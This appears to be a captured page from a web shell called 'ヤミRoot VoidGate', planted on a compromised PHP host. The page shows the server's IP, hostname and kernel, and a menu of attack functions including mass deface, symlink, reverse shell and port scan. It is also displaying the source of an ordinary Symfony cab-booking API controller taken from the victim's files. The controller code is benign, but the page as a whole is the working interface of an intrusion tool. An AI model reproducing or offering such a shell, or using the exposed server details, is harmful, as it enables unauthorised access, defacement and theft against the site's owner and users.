ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: CabBookingController.php
<?php namespace AppBundle\Controller\Api; use FOS\RestBundle\Controller\FOSRestController; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use FOS\RestBundle\Request\ParamFetcher; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security; use Symfony\Component\HttpKernel\Exception\BadRequestHttpException; use Nelmio\ApiDocBundle\Annotation as Doc; use FOS\RestBundle\Controller\Annotations as Rest; use AppBundle\Entity\Cab; use AppBundle\Entity\CabBooking; /** * Cabbooking controller. * */ class CabBookingController extends FOSRestController { /** * Creates a new cabBooking entity. * * @Rest\Post("/cab-bookings") * @Rest\QueryParam( * name="customerId", * requirements="\d+", * allowBlank = false, * description="set the id of the Customer who is making the booking" * ) * @Rest\QueryParam( * name="cabId", * requirements="\d+", * strict=true, * allowBlank = false, * description="set the id of the Car which is beeing booked" * ) * @ParamConverter("cabBooking", converter="fos_rest.request_body") * @Rest\View( * SerializerGroups = {"CAB_BOOKING_DETAILS", "LIST"} * ) * @Security("is_granted('IS_AUTHENTICATED_FULLY')") * @Doc\ApiDoc( * section="Cab bookings", * resource=true, * description="Creates a new CabBooking entity.", * input = { * "class" = "AppBundle\Form\CabBookingType" * }, * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function newAction(ParamFetcher $paramFetcher, CabBooking $cabBooking) { $cabId = (int)$paramFetcher->get('cabId'); $cab = $this->get('cab_manager')->getOneCab($cabId); if ($this->get('security.authorization_checker')->isGranted('ROLE_STAFF')){ $customerId = (int)$paramFetcher->get('customerId'); if($customerId == 0) throw new BadRequestHttpException('Unsupplied value for query string __customerId__ : null given'); else $customer = $this->get('customer_manager')->getOneCustomer($customerId); } else if ($this->get('security.authorization_checker')->isGranted('ROLE_CUSTOMER')){ $customer = $this->get('security.token_storage')->getToken()->getUser(); } $cabBooking->setCustomer($customer); return $this->get('cab_booking_manager')->createNewCabBooking($cab, $cabBooking); } /** * Updates an existing cabBooking entity. * * @Rest\Put( * path="/cab-bookings/{cabBookingId}", * requirements={ "cabBookingId" = "\d+"} * ) * @Rest\QueryParam( * name="newCabId", * requirements="\d+", * nullable=true, * description="set this value to the id of the new Cab if you want to book a new one." * ) * @ParamConverter("newCabBooking", converter="fos_rest.request_body") * @Rest\View( * SerializerGroups = {"CAB_BOOKING_DETAILS", "LIST"} * ) * @Security("is_granted('IS_AUTHENTICATED_FULLY')") * @Doc\ApiDoc( * section="Cab bookings", * resource=true, * description="Updates a CabBooking entity.", * input = { * "class" = "AppBundle\Form\CabBookingType" * }, * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function editAction(ParamFetcher $paramFetcher, Request $request, CabBooking $newCabBooking, $cabBookingId) { $newCabId = (int)$paramFetcher->get('newCabId'); if ($newCabId != 0) $newCab = $this->get('cab_manager')->getOneCab($newCabId); else $newCab = null; return $this->get('cab_booking_manager') ->updateCabBooking($cabBookingId, $newCab, $newCabBooking); } /** * Deletes a cabBooking entity. * * @Rest\Delete( * path="/cab-bookings/{cabBookingId}", * requirements={ "cabBookingId" = "\d+"} * ) * @Rest\QueryParam( * name="hardDelete", * requirements="{true|false}", * nullable=true, * description="If set to 'true', only the super admin will have access to the resource." * ) * @Security("is_granted('ROLE_CUSTOMER') or is_granted('ROLE_OPERATOR')") * @Rest\View * @Doc\ApiDoc( * section="Cab bookings", * resource=true, * description="Deletes a cabBooking entity.", * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function deleteAction(ParamFetcher $paramFetcher, CabBooking $cabBooking) { $hardDelete = $paramFetcher->get('hardDelete'); if ($hardDelete == "false") $this->get('cab_booking_manager')->deleteCabBooking($cabBooking); else $this->get('cab_booking_manager')->deleteCabBooking($cabBooking, true); // TODO: normalize 'on succeed deletion' message return 'Success: Object deleted'; } /** * Finds a cabBooking entity. * * @Rest\Get( * path="/cab-bookings/{cabBookingId}", * requirements={ "cabBookingId" = "\d+"} * ) * @Rest\QueryParam( * name="showInactive", * requirements="(0|1)", * default=0, * description="if set, will fetch the booking even if it is inactive (For Operators only)" * ) * @Rest\View( * SerializerGroups = {"LIST", "CAB_BOOKING_DETAILS", "CAB_DETAILS" } * ) * @Security("has_role('ROLE_CUSTOMER') or has_role('ROLE_OPERATOR')") * @Doc\ApiDoc( * section="Cab bookings", * resource=true, * description="Finds a cabBooking entity.", * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function showAction(ParamFetcher $paramFetcher,$cabBookingId) { $showInactive = (boolean)$paramFetcher->get('showInactive'); return $this->get('cab_booking_manager')->getOneCabBooking($cabBookingId, $showInactive); } /** * Lists cabBooking entities. * * @Rest\Get("/cab-bookings") * @Rest\QueryParam( * name="companyId", * requirements="\d+", * nullable=true, * description="If specified, fecth only bookings on the Cabs belonging to the copany with that 'companyId' Uncompatible with 'cabId'." * ) * @Rest\QueryParam( * name="cabId", * requirements="\d+", * nullable=true, * description="If specified, fecth only the bookings on the Cab with this cabId value. (Uncompatible with 'companyId'" * ) * @Rest\QueryParam( * name="customerId", * requirements="\d+", * nullable=true, * description="If specified, fecth only the bookings mades by the customer with this customerId value." * ) * @Rest\QueryParam( * name="startTime", * nullable=true, * description="If specified, fecth only the bookings starting after that time" * ) * @Rest\QueryParam( * name="minDuration", * requirements="\d+", * nullable=true, * description="If specified, fecth only the with durations greater than this duration value" * ) * @Rest\QueryParam( * name="isActive", * requirements="(0|1)", * default=1, * description="if set, will fetch only active bookings" * ) * @Rest\QueryParam( * name="withDriver", * requirements="(0|1)", * nullable=true, * description="If specified, fecth only the bookings with driver included" * ) * @Rest\View( * SerializerGroups = {"LIST", "CAB_BOOKING_DETAILS", "CAB_DETAILS" } * ) * @Security("has_role('ROLE_CUSTOMER') or has_role('ROLE_OPERATOR')") * @Doc\ApiDoc( * section="Cab bookings", * resource=true, * description="Lists cabBooking entities.", * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function listAction(ParamFetcher $paramFetcher) { $companyId = (int) $paramFetcher->get('companyId'); $customerId = (int)$paramFetcher->get('customerId'); $cabId = (int) $paramFetcher->get('cabId'); $startTime = $paramFetcher->get('startTime'); $minDuration = (int) $paramFetcher->get('minDuration'); $withDriver = (int) $paramFetcher->get('withDriver'); $isActive = (boolean) $paramFetcher->get('isActive'); return $this->get('cab_booking_manager') ->getCabBookings($companyId, $customerId, $cabId, $startTime, $minDuration, $withDriver, $isActive); } }
Coded With 💗 by
0x6ick